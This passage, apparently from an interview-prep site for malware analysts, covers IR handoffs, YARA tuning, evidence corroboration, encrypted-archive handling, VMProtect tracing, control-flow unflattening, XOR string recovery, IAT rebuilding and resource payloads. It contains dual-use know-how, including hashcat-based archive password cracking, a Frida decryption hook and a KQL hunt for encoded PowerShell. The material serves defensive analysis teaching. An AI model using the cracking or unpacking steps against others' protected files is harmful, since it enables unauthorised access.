The IOC table in the technical section also records confidence and use. A mutex name that appears in unrelated families gets marked medium confidence and "do not block on this alone." That warning stays in the technical section. The executive summary should not turn it into a fleet-wide block.
Two consistency checks before I send a report. First, the verdict and confidence in the executive summary must match the technical findings. "No encryption found" in the summary and "encryption not tested" in the technical section is a contradiction. Second, limits travel with the claim. If the sandbox run lasted 2 hours, both sections say "none observed in a 2 hour run," not "the sample does not encrypt."
Close the technical section with what was not done, such as no live C2 interaction and no memory forensics on the affected hosts. That tells the next analyst where to start and stops the report reading as more complete than it is.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-83You have 30 minutes to hand a loader sample to IR, SOC and threat intel, each needing different detail: what do you put in each handoff, and what do you deliberately leave out or flag as unconfirmed?
The 90-second answer
I assume the sample is confirmed malicious, I have a SHA-256, a detonation report, and at least one host timeline. I do not send the same report to three teams. IR needs scope and eradication, SOC needs a detection they can deploy today, and threat intel needs clustering and context they can share outside the company. Each handoff states what I proved, what I only saw in the sandbox, and what expires.
My first message, within the hour, is short and goes to all three: SHA-256, first seen in UTC, file name and path on the host, verdict and confidence, and the one action I am asking for. For a loader that dropped a second stage, that action is usually isolate the host and block the resolved C2 at the proxy. Everything else follows in the detailed pack.
| Audience | Decision they must make | They get | I flag or withhold |
|---|---|---|---|
| Incident response | Is this contained, and where else did it run? | Host and user timeline, persistence, dropped files, second stage hash, lateral movement evidence, eradication checks | Sandbox-only artefacts labelled as such, no claim of exfiltration without egress evidence |
| SOC | Can we detect and hunt it without breaking legitimate use? | Deployable Sigma or KQL, YARA for the loader stub, network IOCs with expiry, expected false positives | Untested broad rules, domains on shared hosting, mutex names seen in unrelated families |
| Threat intelligence | Does this cluster with known activity, and can we share it? | Behaviour summary, ATT&CK mapping with evidence, infrastructure pattern, first and last seen, TLP handling | Victim identifiers, internal hostnames, attribution beyond what the code and infrastructure support |
Incident response pack
IR gets the evidence chain first: original file hash, where it was collected from, VM snapshot or detonation ID, and whether the sample was executed on a production host or only in the lab. Then a timeline in UTC, one row per event, with source for each row. A row that says 10:42:17Z Sysmon Event 1 rundll32.exe spawned powershell.exe -EncodedCommand is defensible. A row that says 10:42 malware beacons is not.
I list persistence and execution in the order IR will check them: Run key value and data, scheduled task name and trigger, dropped file path and hash, parent and child process tree, and any service creation. I add the second stage separately. If the loader fetched payload.bin and I recovered it, IR gets its SHA-256, size, and whether it ran. If I only saw the request and a 404 in the sandbox, I say the second stage was not recovered and IR should hunt for the request, not assume the payload.
Eradication checks close the pack: the exact registry value to delete, the file paths to remove, the mutex or named pipe to confirm the process is gone, and the log query that should return zero results after cleanup. I also state the hunt I already ran, for example a 30 day search for the SHA-256 and for the User-Agent and URI pair, with the result. No hits in 30 days is useful. Silence about the hunt leaves IR to ask.
SOC pack
SOC gets detection content, not a prose description of behaviour. I give one host rule and one network rule, each with the telemetry source, the fields it matches, and the tuning note. For this loader, a starting KQL hunt looks like this:
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "rundll32.exe"
| where ProcessCommandLine has "powershell" and ProcessCommandLine has "-EncodedCommand"
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, SHA256I tell SOC what this will catch and what it will miss. It catches the loader chain on hosts with Sysmon or Defender process telemetry. It misses direct PowerShell execution and it will fire on admin scripts that use encoded commands, so I suggest a 7 day allowlist review by command line hash rather than a permanent exclusion for powershell.exe. The network rule uses the URI and header pattern, not the domain alone, because the domain was registered 6 days before first seen and sits on shared infrastructure. I give the domain with a 14 day expiry and a note to recheck registration and passive DNS before extending the block.
I also give SOC the negative evidence. The sample created a mutex in the sandbox, but that name appears in unrelated families, so I mark it low confidence and do not recommend blocking on it. The sandbox showed no DNS exfiltration, so I do not ask SOC to build a DNS rule from a string in the binary.
Threat intelligence pack
Threat intel gets the clustering view. I describe the loader in terms that survive a repack: API sequence, config structure, C2 protocol and beacon interval with jitter, and the ATT&CK techniques I can cite, such as T1059.001 PowerShell, T1055 process injection if I saw it in memory, and T1071.001 web protocols for C2. Each technique gets the evidence line behind it, for example the Sysmon event ID, the API name and address in the decompiled function, or the pcap frame. Techniques I inferred from strings alone stay out.
I state what does not cluster. Different C2 domains and a different compile timestamp do not prove a different actor, and a shared mutex does not prove the same campaign. I give first seen, last seen, and the number of distinct infrastructure items, and I mark the package TLP:AMBER if it contains internal hunt results. External sharing gets only the hashes, the behaviour summary, and the network pattern, with victim data removed.
The handoff ends with owners and times. I name who owns the block, who owns the hunt, and when I will update the pack if the second stage is recovered or the infrastructure changes. That keeps three teams working from the same facts instead of three versions of the story.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-84A YARA rule uses any of them on three strings and fires on 12% of benign PEs, while all of them misses many variants: how do you choose between 2 of them and adding a PE header check to cut false positives?
The 90-second answer
I would keep the strings and change the condition from any of them to 2 of them, then test whether a PE header check is still needed. With any of them, one common string is enough to fire, so a benign file that contains only that string becomes a false positive. With 2 of them, a benign file needs two independent features before it fires, which cuts most of those hits. The cost is recall: a variant that has lost one feature will no longer match. A PE header check such as uint16(0) == 0x5A4D does not fix that problem. It only confirms the file is a PE, which most of the benign hits already are. I would add it for precision against non-PE files, not as a substitute for the count.
Assume the rule has three strings: a mutex name, a hex pattern, and a URL string. The family samples normally contain all three. Benign files usually contain at most one. That distribution is what makes the count work.
What each condition does on the same corpus
Worked example, labelled corpus of 2,000 benign PEs and 100 family samples:
| Condition | Benign hits | Family hits | Precision | Recall |
|---|---|---|---|---|
any of them | 240 (12%) | 99 | 29% | 99% |
2 of them | 18 (0.9%) | 94 | 84% | 94% |
all of them | 2 (0.1%) | 71 | 97% | 71% |
2 of them plus PE header check | 18 (0.9%) | 94 | 84% | 94% |
Precision here is family hits divided by all hits. The jump from any to 2 of them removes 222 benign hits and loses 5 family samples. The jump to all of them removes only 16 more benign hits but loses 23 family samples. That is the trade-off to state in the interview: 2 of them buys most of the precision gain for a small recall cost, while all of them buys little extra precision and costs a lot of recall.
The PE header row is unchanged because every file in this corpus is already a PE. If the corpus also contained documents, scripts and installers that are not PEs, the header check would remove hits there. I would measure that separately instead of assuming it helps.
The rule I would ship
rule loader_family
{
strings:
$mutex = "Global\\MSWinZonesCacheCounterMutexA0" ascii wide
$hex = { 8B 45 ?? 85 C0 74 ?? }
$url = "https://cdn-update.example.net/" ascii
condition:
uint16(0) == 0x5A4D and 2 of them
}I keep the header check because the rule is meant for PE files and it is cheap. I do not rely on it to solve the false positives. The count does that work.
Checking the 5 lost family samples
I look at which string each lost sample is missing. If all 5 are missing the URL because they use a different domain, the fix is not to go back to any of them. I would either add the new domain as a fourth string and keep 2 of them, or write a second rule for that variant. If the 5 are missing different strings at random, the family is drifting and 2 of them may be too strict for the next build. I would then test the rule on the newest build I have, not only on the builds used to tune it.
I also check the 18 remaining benign hits. If most of them share the same hex pattern because it comes from a shared library, the count will not remove them. In that case I need a feature the family adds on top of the library, such as the mutex or a specific import, and I would require that feature explicitly.
condition:
uint16(0) == 0x5A4D and $mutex and 1 of ($hex, $url)That version is stricter in a different way. It requires the rarest string every time. It is better when the mutex is truly unique to the family, and worse when a variant changes its mutex. I would choose between the two versions by counting how many family samples lack the mutex. If that count is near zero, the mutex version is safer. If it is not, 2 of them is the better default.
The decision comes down to which feature the family can change most easily. Domains and URLs change often, so I would not make the URL mandatory. A mutex or a code pattern changes less often, so requiring one of those is more stable. I state that assumption, show the counts for both conditions, and pick the one with the better recall at an acceptable benign rate.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-85Profiling shows one YARA rule with a broad regex takes 60% of scan time over 200,000 files: how do YARA atoms explain that cost, and how would you rewrite the rule?
The 90-second answer
YARA does not scan a file once per string. It extracts atoms from your strings, which are long literal substrings it can search for with a fast multi-pattern algorithm, then it verifies the full string only where an atom hits. A broad regex often has no usable atom, or only a very short one, so YARA has to check far more offsets. That is why one regex rule can dominate a scan over 200,000 files even when it rarely matches.
I would confirm that with profiling, then rewrite that rule around literals with a strong atom and keep the regex, if I need it at all, behind a cheap gate. I would check the hit count on a labelled set before and after, so the faster rule is not silently missing samples.
Why atoms decide the cost
Take this rule, common in loader hunts:
rule broad_b64
{
strings:
$re = /[A-Za-z0-9+\/]{40,}={0,2}/
condition:
$re
}The regex can start at almost any byte. There is no fixed literal of, say, 6 bytes that must appear, so YARA cannot use its atom search to jump to candidate positions. It falls back to a much slower scan and tests the pattern at many offsets. The same problem appears with a hex string such as { ?? ?? 8B 45 ?? 85 C0 } or a 3 byte string with nocase. Short or wildcard heavy patterns give the engine little to search for.
A literal string behaves differently:
rule loader_pe_v2
{
meta:
rev = "2"
strings:
$a1 = "VirtualAlloc" ascii nocase
$a2 = "GetProcAddress" ascii nocase
$cfg = "https://" ascii
$hex = { 8B 45 08 85 C0 74 09 }
condition:
uint16(0) == 0x5A4D and filesize < 20MB
and 2 of ($a*) and $cfg and $hex
}VirtualAlloc and GetProcAddress are long literals. YARA can search for their atoms across the whole corpus in one pass, then check the hex pattern only in files where an atom already hit. The hex pattern here also helps itself: it has six consecutive known bytes, so it has an atom. Adding wide to it, or inserting more ?? bytes, would weaken that.
Profile, rewrite, verify
Assume 200,000 files averaging 1.2 MB, about 240 GB. At 40 minutes on one thread that is about 100 MB/s. If the disk can deliver 500 MB/s and a core is saturated, matching is the bottleneck, not I/O.
# YARA 4.5.x
# --print-profile-rules ranks rules by matching time
yara -a 16 -n --print-profile-rules -r rules/ corpus/ > hits.txt 2> profile.txt
head -20 profile.txtA plausible profile for the case in the question:
| Rule | Share of matching time | Hits on labelled set |
|---|---|---|
broad_b64 | 61% | 12 true positives, 340 false positives |
loader_pe_v1 | 9% | 48 true positives, 2 false positives |
| other 340 rules | 30% | rest of hits |
The rewrite replaces the regex with the literal https:// plus the two API names. That loses the ability to catch a base64 blob with no URL, which is a real trade. I would only accept it if the labelled set shows the blob rule was mostly noise, as the false positive count above suggests. If I still need the blob, I would keep it in a separate rule gated by the PE header check and a tighter size bound, so it runs on a small subset instead of every file.
Verification is a diff, not an impression. I keep the original hits file and the labelled positives. After the rewrite I compare:
| Check | Before | After rewrite |
|---|---|---|
| Scan time, 16 threads | 40 min | 9 min (hypothetical, measured on same corpus) |
| True positives retained | 60 of 60 | 60 of 60 |
| False positives | 342 | 14 |
If true positives drop, the rewrite is wrong even if it is fast. I would restore the dropped pattern as a gated rule and note the change in meta so the next analyst knows why the broad regex was removed.
Two failure modes catch people out. A filesize < 20MB gate will miss a larger packed variant, so files above the bound should be logged for a separate pass rather than skipped silently. And a header gate such as uint16(0) == 0x5A4D will miss a sample with a damaged MZ header, so I would run an ungated pass on files that fail the header check but match a strong literal. Threading with -a helps after the rewrite, but it does not fix a rule with no atom. It just runs the slow scan on more cores.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-86What is the basic rule for turning static, dynamic, and network findings into a single malware verdict?
The 90-second answer
The basic rule is corroboration. A claim in the verdict needs support from at least two independent evidence types before I call it confirmed. Static analysis shows what the code can do. Dynamic analysis shows what it did in that run. Network analysis shows what it contacted. If only one type supports a claim, I label it suspected and name the check that would confirm it.
That one rule prevents the usual errors. A C2 domain in strings is easy to plant and may never be used, so static alone does not confirm contact. A sandbox run that shows no traffic may have slept, checked the date, or waited for a document, so dynamic alone does not confirm clean. A beacon to a shared hosting address may belong to legitimate software, so network alone does not confirm which process made it. When the decoded config, the observed DNS query, and the host process all point to the same domain, the claim is confirmed.
| Evidence type | What it confirms | What it cannot confirm alone |
|---|---|---|
| Static | Capability, embedded config, embedded IOCs | That the code path executed |
| Dynamic | Files, registry, processes, API calls during the run | Behaviour the sample hid from the VM |
| Network | DNS, HTTP, TLS contact, timing, volume | Which local process made the connection |
Worked trace, figures are from one example run:
| Time | Static finding | Dynamic finding | Network finding | Verdict on that claim |
|---|---|---|---|---|
| 09:00 | Config decodes to cdn-update.example.net | Not yet run | None | Suspected C2, static only |
| 09:04 | Same domain in config | Process creates a named mutex | DNS query for cdn-update.example.net, then HTTPS GET /payload.bin | Confirmed C2 contact, static plus network |
| 09:05 | Run key string and RegSetValueEx import | Sysmon Event 13 shows the Run key written | GET returns a 38 KB PE | Confirmed persistence, static plus dynamic |
| 09:05 | Dropped PE not in original file | File written to Temp | Hash of Temp file matches hash of downloaded PE | Confirmed staging, dynamic plus network |
The hash match in the last row matters. Without it, the downloaded PE and the Temp file could be unrelated, and the staging claim would stay suspected.
I write the verdict so another analyst can recheck it without rerunning anything:
verdict = {
"label": "malicious_loader",
"claims": [
{"claim": "C2 domain", "value": "cdn-update.example.net",
"static": "decoded config at offset 0x1F40",
"network": "DNS query at 09:04:12"},
{"claim": "persistence", "value": "HKCU Run key",
"static": "RegSetValueEx import",
"dynamic": "Sysmon Event 13 at 09:05:03"},
],
"suspected": ["attribution to a named actor, no corroboration"],
}Two checks catch most false verdicts. If static shows Sleep(300000) and the sandbox run lasted 60 seconds, a clean dynamic result proves nothing, so I rerun with a longer window or patch the sleep. If the domain was sinkholed, the DNS answer will be the sinkhole address, so I record that and do not treat the reply as real C2 content. If either check fails, the verdict stays suspected until the missing evidence arrives.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-87How do you handle a password-protected archive or encrypted sample safely, recover its password when you can, and keep the original evidence intact?
The 90-second answer
Treat the archive as live evidence first and as a puzzle second. Hash the original file, record its source and chain of custody, and work only on a copy inside an isolated analysis VM with host-only or fully disconnected networking, no shared folders, no shared clipboard and snapshots taken before extraction. Never preview it on your workstation, where thumbnailers, shell extensions and Office preview handlers can execute embedded content without a deliberate open.
Then identify the container before trying passwords. 7z l, file and a header check tell you whether you have ZipCrypto, AES-encrypted Zip or 7z, RAR5, or an encrypted Office document, because each one needs a different recovery tool and leaks different metadata. Try the password the sender supplied, passwords embedded in the lure document or email thread, and the organisation's known sample passwords from your case notes. Only after those fail do you attack the password offline, on the copy, with a wordlist and rules, and you stop and escalate for a better source rather than running an unbounded brute force.
# On the analysis VM, working on a copy
sha256sum sample.zip > sample.zip.sha256
7z l sample.zip
7z x -oextracted/ -p'REDACTED' sample.zip
sha256sum extracted/*What the format tells you
| Container | Encryption | What leaks before decryption | Recovery route |
|---|---|---|---|
| Zip | ZipCrypto (legacy) | File names, sizes, CRC32, timestamps | zip2john then John or hashcat mode 17200 |
| Zip / 7z | AES-256 | File names in 7z headers are hidden, sizes still visible | 7z2john then hashcat mode 11600 |
| RAR5 | AES-256 | Archive and file names visible, contents hidden | rar2john then hashcat mode 29700 |
| Office .docx/.xlsx | Agile encryption (Office 2013+) | File name, size, OLE metadata outside the encrypted stream | office2john then hashcat mode 9600 |
That distinction matters for safety and for expectations. ZipCrypto falls in minutes against a weak password because the keystream is recoverable from known plaintext. AES containers do not leak plaintext, so recovery is purely a password guessing problem. A 6 character lowercase password is about 26^6, roughly 3.1e8 candidates, which a GPU rig can exhaust in hours. A 10 character mixed case password with digits is about 62^10, roughly 8.4e17 candidates, which is not a realistic offline attack. Saying that in the report, with the arithmetic, is more useful than reporting that cracking failed.
Handling the password itself
Store the password separately from the sample. If you must share the sample with IR or a vendor, send the encrypted archive through one channel and the password through another, and note in the ticket that the password was transmitted separately rather than pasting both into the same email. Do not put the password in the file name, the VM snapshot name or the extraction folder, because those names end up in logs and screenshots. When the password came from the lure, record exactly where you found it, for example page 2 of the PDF or the second paragraph of the email, since that is evidence of the social engineering step.
Extraction is not the end of the risk. Password protected archives are used precisely to get an analyst or a user to disable protections and enable macros, so extract with macros disabled, do not open the inner document in a previewer, and detonate the inner file in the sandbox before opening it interactively. Re-hash every extracted file and keep the mapping from archive member to hash, because a single archive often carries a decoy document plus the real payload.
Failure modes to name
A common one is opening the archive on the host to check whether the password works. That defeats the isolation and can trigger a handler you did not intend to run. Another is running the cracker against the only copy, so a tool that modifies the file in place destroys the original. A third is assuming a password found in a sandbox report is correct for your copy. Repacked variants often change the password, so verify it against your hash before you report the sample as decrypted. If recovery fails, report the container type, the attack you attempted, the candidate count you exhausted and the estimated remaining search space, and state plainly that the payload remains unrecovered rather than implying the sample is benign.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-88A VMProtect sample virtualizes only its config decryption routine: how would you recover the config by tracing the VM at its API and memory boundaries instead of devirtualizing every handler?
The 90-second answer
I would treat the virtualized routine as a black box with a native caller and a native return. VMProtect replaces the original x86 instructions with bytecode for a custom virtual machine. A small native stub sets up the VM context, usually registers and stack slots, then jumps into a dispatch loop. Each bytecode operation selects a handler that performs one original operation and updates the VM context. Reading that bytecode statically is slow because handler order and encoding change between builds.
For a config routine, I do not need every handler. The VM still has to do observable work to produce the config: allocate or decrypt a buffer, call a cryptographic or decoding API, and return a pointer or length to native code. If I trace those boundaries, I can dump the buffer at the moment it becomes plaintext and skip the handler-by-handler lift.
How the trace works
First, confirm the scope in a disassembler. Find the native call site, the stub that prepares the VM context, and the native instruction after the call where the result is used. Note which register or stack slot holds the output pointer and which holds the length. That gives me the exit contract.
Second, set breakpoints on the APIs the routine is likely to use, rather than stepping through handlers. For a config blob this is often VirtualAlloc, VirtualProtect, CryptDecrypt, BCryptDecrypt, or a simple XOR loop in native code after the VM returns. I log arguments on entry and return values on exit.
Third, dump the output buffer when native code resumes. I dump from the output pointer for the returned length, hash that dump separately, and parse it as the config format. If the dump is still encoded, the trace will show which API produced the last transformation, and I can break on that call instead.
| Step | Breakpoint | What I record | Hypothetical result |
|---|---|---|---|
| 1 | Native call to VM stub | Output pointer, input blob pointer | out=0x1a2f0000, in=0x1a2f1000 |
| 2 | VirtualProtect | New protection, size | 0x1a2f0000, 0x1000, PAGE_READWRITE |
| 3 | BCryptDecrypt return | Status, output length | 0, 0x2c4 bytes written |
| 4 | Native return from VM | Output pointer and length in registers | 0x1a2f0000, 0x2c4 |
| 5 | Dump | Bytes at output pointer | Config JSON, 708 bytes |
The figures above are an example trace, not a claim about a specific sample. The point is the order: entry contract, last transformation, exit contract, dump.
A Frida hook makes the boundary explicit and survives handler mutation, because it hooks the API rather than a handler address:
// Frida, attach to the sample process before the VM call
const decrypt = Module.getExportByName("bcrypt.dll", "BCryptDecrypt");
Interceptor.attach(decrypt, {
onEnter(args) { this.out = args[6]; this.outLen = args[7].readPointer(); },
onLeave(retval) {
const len = this.outLen.toInt32();
console.log("BCryptDecrypt status=" + retval + " len=" + len);
console.log(hexdump(this.out, { length: len }));
}
});Full devirtualization is the alternative when the routine makes no API call and the answer depends on internal logic, for example a key schedule computed entirely inside the VM. Tools that lift handlers with Triton or angr can help there, but they need rebuilding when the build changes handler encoding. Themida raises the cost further when the entry point itself is virtualized and anti-debug checks run before the routine you want. In that case I still start at the boundary, but I expect to bypass a check or dump a decrypted stage first, because there may be no trustworthy native caller to anchor the trace.
I would report the dumped config, the API trace that produced it, and the VMProtect build I identified. I would not claim the lifted handler semantics are proven unless I tested the lift against the traced output.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-89A function in Ghidra is one big switch in a loop with many small blocks. How do you tell that is control flow flattening and recover the original block order?
The 90-second answer
That shape is the tell for control flow flattening. The original blocks are still present, but none of them jumps directly to the next one. Each block writes a constant to a state variable and jumps to a single dispatcher. The dispatcher is a switch or if chain on that variable, and it jumps to the block for the current value. Ghidra therefore shows one loop containing a large switch, with the real code scattered in small blocks around it.
To recover the original order I map each state value to the block it selects, then follow the values written from block to block. The sequence of blocks visited in that walk is the unflattened function. I check the walk against a short dynamic trace, because a static map alone can miss a transition that depends on input.
Finding the dispatcher and the map
I start at the loop header. The dispatcher block has many incoming edges, reads one variable in its comparisons, and does no other work. That variable is the state. Every other block in the function writes it just before jumping back to the dispatcher.
In Ghidra I rename that variable state and look at each case in the switch. Each case jumps to one block address. That gives me a table I can build by hand for a small function, or with a short script that lists the case targets.
# Ghidra script, Python 2.7 in Ghidra 11.x, run on the current function
from ghidra.app.decompiler import DecompInterface
decomp = DecompInterface()
decomp.openProgram(currentProgram)
func = getFunctionContaining(toAddr(0x401000))
result = decomp.decompileFunction(func, 60, monitor)
print(result.getDecompiledFunction().getC())The decompiled output is still the flattened form. The useful part is the case list it prints. I record it as state value to block address, then read the last assignment in each block to find the next state.
Worked trace
For the function in the diagram, the walk is:
| Step | Block executed | State written | Dispatcher selects |
|---|---|---|---|
| 1 | Entry | 3 | Block B |
| 2 | Block B: test flag | 1 | Block C |
| 3 | Block C: decode string | 7 | Block E |
| 4 | Block E: call API | 0 | Exit |
Reading the middle column in order gives the original sequence: test flag, decode string, call API. I rename the blocks in that order, add comments with their state values, and the decompiler view becomes readable. A second analyst can check each edge by looking at the assignment at the end of the preceding block.
Static map versus dynamic trace
| Approach | What it gives you | Main limit |
|---|---|---|
| Static state map | Every edge the code can take, without running the sample | Fails when the next state is computed from input instead of written as a constant |
| Dynamic trace in x64dbg or a VM | The order actually executed, including computed transitions | Shows one path only, so a branch guarded by a date or environment check may never appear |
I build the static map first because it is safe and complete for the common case where transitions are constants. Then I run the sample in the lab VM and log hits on the dispatcher. If the dynamic order matches the static walk, I trust the rebuild. If it differs, the differing transition is computed at runtime. I go back to that block and find where the state value comes from, which is often a decoded config byte or a flag test.
That comparison is the judgement call. A candidate who only reads the switch will describe the dispatcher and stop. The rebuild comes from following the writes, and the trace tells you whether those writes were constants or data dependent.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-90How do you recover plaintext strings from a sample that XORs each string with a single-byte key?
The 90-second answer
If every string is XORed with the same single byte, there are only 256 possible keys. I brute force all of them, score each decoded result for printable characters, and keep the key that turns the blob into readable text. That key is usually obvious in one pass.
In a sample I look for the routine first, not the strings. A tight loop that loads a byte, XORs it with a register or immediate, and stores it back, with a length or null terminator check, is the tell. In Ghidra or IDA I rename that function decode_strings, note the buffer and length arguments, and check the callers. The encoded bytes sit in .rdata or .data, often as one contiguous blob with a table of offsets and lengths, or as separate null-terminated entries.
Recovery then has two routes. Statically, I extract the blob from the binary and decode it offline. Dynamically, I breakpoint after the decode loop in x64dbg or WinDbg and dump the destination buffer. The dynamic route wins when the key is built at runtime, but for a fixed single byte the static route is faster and safer.
# Python 3.11, checked against a raw blob extracted from .rdata
blob = bytes.fromhex("49474e044f524f") # example only
def score(data: bytes) -> float:
printable = sum(1 for b in data if 32 <= b < 127 or b in (9, 10, 13))
return printable / len(data) if data else 0.0
best = []
for key in range(256):
decoded = bytes(b ^ key for b in blob)
best.append((score(decoded), key, decoded))
best.sort(reverse=True)
for s, key, decoded in best[:3]:
print(f"key=0x{key:02x} score={s:.2f} {decoded!r}")A worked trace on a short blob shows why scoring works. Suppose the plaintext is cmd.exe and the key is 0x2A. Encoding each byte gives c (0x63) XOR 0x2A = 0x49, m (0x6D) XOR 0x2A = 0x47, d (0x64) XOR 0x2A = 0x4E, . (0x2E) XOR 0x2A = 0x04, e (0x65) XOR 0x2A = 0x4F, x (0x78) XOR 0x2A = 0x52, and e again as 0x4F. The stored blob is therefore 49 47 4E 04 4F 52 4F. Key 0x00 leaves a control byte in the output, key 0x2A gives cmd.exe at score 1.00, and most other keys give a mix of symbols and control bytes below 0.70. I do not eyeball 256 outputs. I sort by score and read the top three.
| Key | Decoded output | Printable score | Verdict |
|---|---|---|---|
0x00 | IGN\x04ORO | 0.86 | rejected, control byte present |
0x2A | cmd.exe | 1.00 | accepted, dictionary word plus extension |
0x20 | ign$oro | 1.00 | rejected, no known token |
Score alone can tie, so I confirm the winner against context. Real decoded strings name APIs, registry paths, URLs, mutexes, or commands the sample actually uses. A key that produces GetProcAddress and Software\Microsoft\Windows\CurrentVersion\Run is right. A key that produces random pronounceable text with no API or path is not, even at a high score.
Failure modes are specific. A repeating multi-byte key defeats single-byte scoring, and the decoded output stays garbled for every key. A rolling key, where the key byte increments per character, also defeats it. Stack-built strings never appear as a blob in .rdata at all, so extraction finds nothing and I switch to a breakpoint on the decode loop or a memory dump after execution. Wide strings encoded as UTF-16LE need the same brute force applied per byte pair, with scoring on the decoded wide characters.
For the report I record the key, the blob offset, the decode function address, and three example plaintext strings with their uses. That lets another analyst reproduce the decode without rerunning the sample.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-91You have dumped a process at its OEP and rebuilt the PE headers, but the import directory is empty or garbage: how do you rebuild a working IAT from the dumped image and prove it is correct?
The 90-second answer
A dumped image has no trustworthy import directory. The packer destroyed it, and the dump is raw memory, so file offsets no longer match RVAs. I rebuild the IAT from evidence in the unpacked code, not from the original file. I find every indirect call or jump through memory that the unpacked code makes, resolve what each slot pointed to at dump time, then write a new Import Directory, Import Lookup Table and Import Address Table into the rebuilt PE and fix the headers to match. I do not trust a tool's first pass. I validate by loading the rebuilt file and confirming each import resolves to the same module and export the live process used.
Finding the real thunks
Start from the OEP in the dumped image. The unpacked code usually calls APIs through a small set of thunks, often FF 15 (call dword ptr [addr]) on x86 or FF 15 with RIP-relative addressing on x64, sometimes FF 25 for jumps. In a debugger I set the image base, rebase the dump, and trace execution from the OEP. Scylla, ImportREC or x64dbg's Scylla plugin can scan for those patterns and read the pointer at each target address. That pointer is the key. At dump time it holds the VA of the loaded DLL's export, for example kernel32!VirtualAlloc in ntdll or kernel32 memory.
I map that VA back to a module. I list loaded modules in the live process, note each module's base and size, and check which range contains the pointer. Then I parse that DLL's export directory on disk and find which export RVA equals pointer minus module base. That gives module plus name, or an ordinal if the export has no name. A worked trace looks like this:
| Dump VA of slot | Value at slot | Module range | Export RVA | Resolved import |
|---|---|---|---|---|
| 0x0040A010 | 0x7FF8A1B01234 | kernel32 base 0x7FF8A1A00000 | 0x1234 | VirtualAlloc |
| 0x0040A018 | 0x7FF8A1B04567 | kernel32 base 0x7FF8A1A00000 | 0x4567 | GetProcAddress |
| 0x0040A020 | 0x7FF8A2C0FEDC | user32 base 0x7FF8A2C00000 | 0xFEDC | MessageBoxW |
The third column matters. If a slot points into the dumped image itself, it is not an import. It is an internal function pointer or a leftover packer stub, and including it creates a bogus import that fails to load.
Rebuilding the structures
I group resolved imports by DLL. For each DLL I build an Import Lookup Table, an array of thunks that the loader reads, and an Import Address Table, the array the loader overwrites at load time. On 32-bit PE each entry is 4 bytes, on 64-bit PE it is 8 bytes, and the high bit marks an ordinal import. Names go in a hint/name table, a 2-byte hint followed by the ASCII name and a null terminator. I place these new structures in a section with room, usually by extending the last section or adding a section, and I set SizeOfRawData and PointerToRawData so the file offset matches the RVA. Then I point the Data Directory entry for imports at the new Import Directory, which contains one descriptor per DLL plus a null descriptor.
A small check script after rebuilding catches the common mistakes before I run anything:
# Python 3, pefile checked against a rebuilt 64-bit PE
import pefile
pe = pefile.PE("dumped_rebuilt.exe")
for entry in pe.DIRECTORY_ENTRY_IMPORT:
dll = entry.dll.decode()
for imp in entry.imports:
name = imp.name.decode() if imp.name else f"ordinal_{imp.ordinal}"
print(dll, hex(imp.address), name)I compare that list against the debugger trace. Every slot I found in memory should appear once, and every entry in the file should have appeared in memory.
Where this goes wrong
Three failure modes show up repeatedly. First, coincidental FF 15 bytes inside data or immediate operands create false thunks. Scylla will happily import them. I filter by execution: a real thunk is reached from unpacked code, and its slot value points into a loaded system DLL at dump time. Second, forwarded exports. If the pointer lands in kernel32 but the export forwards to ntdll, the rebuilt import still works if I name the DLL the loader will search, but my report should name the forwarder so IR does not hunt the wrong module. Third, APIs resolved by hashing. The unpacked code may compute a hash and compare it, never storing a pointer. Those APIs will never appear in a rebuilt IAT, and that absence is itself evidence. I note them separately as dynamically resolved APIs rather than inventing imports for them.
Delay-load imports and bound imports need separate handling. If the original binary used delay loading, the loader does not resolve those slots at startup, and forcing them into the normal IAT changes timing and can break samples that check for the delay-load helper. I keep them in the delay-load directory if the dump shows that structure intact, otherwise I flag the change.
Proving it
I load the rebuilt file in a VM, not on the analysis host, and watch the loader. If a DLL name is wrong, Windows fails with a missing DLL error naming it. If an ordinal is wrong, the import fails or the process crashes on first call. I then run it under a debugger, break on the first call through each rebuilt slot, and confirm the target matches the original trace. Finally I re-dump the running rebuilt process and diff its IAT against the original dump. Matching module, export and slot order is the standard I use before I hand the rebuilt sample to Ghidra for decompilation or to IR as a working artifact.
Curated: · Written: · Reviewed: —
Log in free to save your progress and keep bookmarks and notes for a quick revision before your interview.
Q&A-92A PE has a 180 KB RT_RCDATA entry with entropy 7.9, a normal-looking icon and no suspicious dialog: how do you decide if that resource is a hidden payload and what do you check first?
The 90-second answer
I would treat that 180 KB RT_RCDATA entry as a suspected payload until I prove otherwise, and I would check the code reference first. A resource is only a carrier if the program can reach it at runtime. In a loader that usually means FindResource, then LoadResource, then LockResource with the same resource ID. If I find that sequence, I extract the blob by its directory RVA and size, hash it, and analyse it as a separate sample. If no code references it, I check the icon for appended data and the dialog text for a hidden purpose before I call the resource benign.
import pefile
pe = pefile.PE("sample.exe")
for entry in pe.DIRECTORY_ENTRY_RESOURCE.entries:
if entry.id != 10: # RT_RCDATA
continue
for lang in entry.directory.entries:
data = lang.data.struct
off = pe.get_offset_from_rva(data.OffsetToData)
blob = pe.__data__[off:off + data.Size]
print(f"id={lang.id} rva={data.OffsetToData:#x} off={off:#x} size={data.Size} magic={blob[:4]!r}")I work on a copy and keep the original hash. The directory gives me the offset, so I do not need to guess where the payload starts. I record resource ID, RVA, file offset, size and SHA-256 for the extracted blob, because that is what I can hand to a sandbox or a second analyst.
| Check | What I look for in this sample | Reading |
|---|---|---|
